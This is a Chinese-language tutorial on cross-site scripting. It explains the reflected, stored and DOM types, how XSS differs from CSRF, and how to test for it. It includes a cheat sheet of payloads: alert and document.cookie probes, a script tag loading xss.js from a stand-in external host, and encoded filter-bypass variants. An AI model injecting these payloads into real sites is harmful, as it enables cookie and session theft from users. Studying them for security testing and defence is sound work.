定义
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击
XSS分为:反射型XSS,存储型XSS,DOM型XSS
反射型XSS
具体攻击流程如下:
- 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
- 用户点击该恶意链接
- web服务将XSS代码(JavaScript代码)以及视图返回给客户端
- 客户端解析视图以及XSS代码(JavaScript代码),并将执行结果发送到XSS平台
- 攻击者访问XSS平台,读取用户的敏感信息(Cookie)
存储型XSS
具体攻击流程如下:
- 攻击者向web服务插入XSS代码
- web服务会将其结果存储到数据库中
- 用户正常访问web服务
- web服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意XSS代码(JavaScript代码)
- 客户端渲染视图,加载XSS代码,并向攻击者的web服务发送敏感信息
- 攻击者读取用户的敏感信息
DOM型XSS
具体攻击流程如下:
- 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
- 用户点击恶意链接,并打开浏览器
- 此时浏览器客户端并不会发起http请求到web服务,而是在浏览器客户端执行XSS(JavaScript代码)
- 此时将XSS代码执行结果发送给攻击者的恶意服务
- 攻击者访问自己的XSS平台并读取用户的敏感信息
XSS 特征
类别 |
特征 |
反射型XSS |
非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。 |
存储型XSS |
持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie |
DOM型XSS |
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。DOM的详解:DOM文档对象模型 |
XSS与CSRF的区别(面试常问)
类别 |
特征 |
XSS |
1. 主要是加载JavaScript代码,在客户端执行 2. 虽然经过后端,数据库(存储型),但主要需要客户端执行XSS代码,才能生效 3. DOM型XSS一定不经过后端,只是对浏览器客户端发起的攻击 4. XSS攻击针对的是用户层面的攻击 (攻击客户端) |
CSRF |
1. 主要是欺骗服务器,虽然是由用户发起,但是服务器无法判断是否是不是用户想要发起的请求 2. 一定会经过后端处理,不然无法执行 3. CSRF是一种身份伪造攻击,来对服务器进行欺骗的一种攻击手法 |
XSS 攻击面
XSS主要是攻击客户端浏览器,但是客户端浏览器侧的JavaScript并不像Node.js这种后端JavaScript代码可以执行命令,那么XSS只能用来弹窗测试吗?实际上并不是这样的,如果你的JavaScript代码能力很强,那么可以钓鱼、窃取Cookie、令牌、攻击浏览器(2021年4月Chrome 0 Day)、蠕虫攻击、挂黑页(放广告刷流量)、内网探测(针对HTTP,websocket)等等
黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
常见业务场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性等
白盒测试(代码审计)
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。
XSS 相关payload
xss 主要是针对浏览器客户端的一种攻击,那么需要执行JavaScript代码,那么无疑需要使用到JavaScript语言以及在HTML中可以加载JavaScript的标签
标签类
script
标签是最直接的XSS payload,标签可以在浏览器渲染DOM树的时候同步执行JavaScript代码,他可以引用外部,也可以将代码插入标签内
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>
svg
<svg></svg>
标签是标记定义 SVG 图形的容器,其在onload方法中是在 SVG 容器初始化的时候执行代码
<svg onload="alert(1)">
<svg onload="alert(1)">
img
<img />
标签是加载图片资源的标签,其在无法加载图片资源的时候会执行onerror方法
<img src=1 οnerrοr=alert("/xss/")>
<img src=1 οnerrοr=alert(document.cookie)>
<img src="正确图片地址" onload="alert(/xss/)" />
body
<body></body>
是定义HTML文档的主体。其包含文档的所有内容(比如文本、超链接、图像、表格和列表等等。)
<body onload=alert(/xss/)>
<body onpageshow=alert(1)>
video
<video></video>
标签是引用远程媒体视频的标签,用法与img类似
<video onerror="alert(/xss/)" src="1"/>
style
<style></style>
标签是加载CSS资源的标签
<style οnlοad=alert(1)></style>
表单类
在web中,最常见的为表单了,表单中的标签有<input />、<textarea></textarea>
等等
在这里更多的是闭合语句来构成XSS比如
"/><script>alert(/xss/)</script>
></textarea><script>alert(/xss/)</script>
...
事件类
在HTML中有许多事件操作的方法(DOM事件),如onclick事件,ondblclick事件等等,只需要用户点击,或者双击也可以执行JavaScript代码,在这里就需要闭合,在块级元素中添加事件方法。
常见的DOM事件方法如下
鼠标事件
键盘事件
框架/对象(Frame/Object)事件
表单事件
剪贴板事件
打印事件
拖动事件
动画事件
过渡事件
其他事件
事件 |
描述 |
DOM |
onmessage |
该事件通过或者从对象(WebSocket, Web Worker, Event Source 或者子 frame 或父窗口)接收到消息时触发 |
|
onmousewheel |
已废弃。 使用 onwheel |
|
事件替代 |
|
|
ononline |
该事件在浏览器开始在线工作时触发。 |
|
onoffline |
该事件在浏览器开始离线工作时触发。 |
|
onpopstate |
该事件在窗口的浏览历史(history 对象)发生改变时触发。 |
|
onshow |
该事件当<menu> 元素在上下文菜单显示时触发 |
|
onstorage |
该事件在 Web Storage(HTML 5 Web 存储)更新时触发 |
|
ontoggle |
该事件在用户打开或关闭 <details> 元素时触发 |
|
onwheel |
该事件在鼠标滚轮在元素上下滚动时触发 |
事件对象
常量
静态变量 |
描述 |
DOM |
CAPTURING-PHASE |
当前事件阶段为捕获阶段(1) |
1 |
AT-TARGET |
当前事件是目标阶段,在评估目标事件(1) |
2 |
BUBBLING-PHASE |
当前的事件为冒泡阶段 (3) |
3 |
属性
方法
方法 |
描述 |
DOM |
initEvent() |
初始化新创建的 Event 对象的属性。 |
2 |
preventDefault() |
通知浏览器不要执行与事件关联的默认动作。 |
2 |
stopPropagation() |
不再派发事件。 |
2 |
目标事件对象
方法
方法 |
描述 |
DOM |
addEventListener() |
允许在目标事件中注册监听事件(IE8 = attachEvent()) |
2 |
dispatchEvent() |
允许发送事件到监听器上 (IE8 = fireEvent()) |
2 |
removeEventListener() |
运行一次注册在事件目标上的监听事件(IE8 = detachEvent()) |
2 |
事件监听对象
方法
方法 |
描述 |
DOM |
handleEvent() |
把任意对象注册为事件处理程序 |
2 |
文档事件对象
方法
方法 |
描述 |
DOM |
createEvent() |
|
2 |
鼠标/键盘事件对象
属性
属性 |
描述 |
DOM |
altKey |
返回当事件被触发时,"ALT" 是否被按下。 |
2 |
button |
返回当事件被触发时,哪个鼠标按钮被点击。 |
2 |
clientX |
返回当事件被触发时,鼠标指针的水平坐标。 |
2 |
clientY |
返回当事件被触发时,鼠标指针的垂直坐标。 |
2 |
ctrlKey |
返回当事件被触发时,"CTRL" 键是否被按下。 |
2 |
Location |
返回按键在设备上的位置 |
3 |
charCode |
返回onkeypress事件触发键值的字母代码。 |
2 |
key |
在按下按键时返回按键的标识符。 |
3 |
keyCode |
返回onkeypress事件触发的键的值的字符代码,或者 onkeydown 或 onkeyup 事件的键的代码。 |
2 |
which |
返回onkeypress事件触发的键的值的字符代码,或者 onkeydown 或 onkeyup 事件的键的代码。 |
2 |
metaKey |
返回当事件被触发时,"meta" 键是否被按下。 |
2 |
relatedTarget |
返回与事件的目标节点相关的节点。 |
2 |
screenX |
返回当某个事件被触发时,鼠标指针的水平坐标。 |
2 |
screenY |
返回当某个事件被触发时,鼠标指针的垂直坐标。 |
2 |
shiftKey |
返回当事件被触发时,"SHIFT" 键是否被按下。 |
2 |
方法
方法 |
描述 |
W3C |
initMouseEvent() |
初始化鼠标事件对象的值 |
2 |
initKeyboardEvent() |
初始化键盘事件对象的值 |
XSS的绕过方式
JavaScript伪协议
javascript:alert(/xss/);
<a href=javascript:alert(1)>111</a>
编码
浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会。介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。
浏览器的解析规则:浏览器收到HTML内容后,会从头开始解析。当遇到JS代码时,会使用JS解析器解析。当遇到URL时,会使用URL解析器解析。遇到CSS则用CSS解析器解析。尤其当遇到复杂代码时,可能该段代码会经过多个解析器解析。
<img src=# onerror="alert(/xss/)">
<img src=# onerror="alert(/xss/)">
<img src=# onerror="\u0061lert(/xss/)">
<a href="javascript:%61lert%281%29">xss</a>
双写
大小写
一些案例
<img src=# onerror="location='javascript:alert(1)'">
<img src=# onerror="location='javascript:%61lert%281%29'">
<img src=# onerror="location='j\x61vascript:%61lert%281%29'">
<img src=# onerror="loc\u0061tion='j\x61vascript:%61lert%281%29'">
<img src=# onerror="loc\u0061tion='java'+'scri'+'pt:'+'ale'+'rt%281%29'">
参考链接
https://www.runoob.com/jsref/dom-obj-event.html
XSS(跨站脚本)详解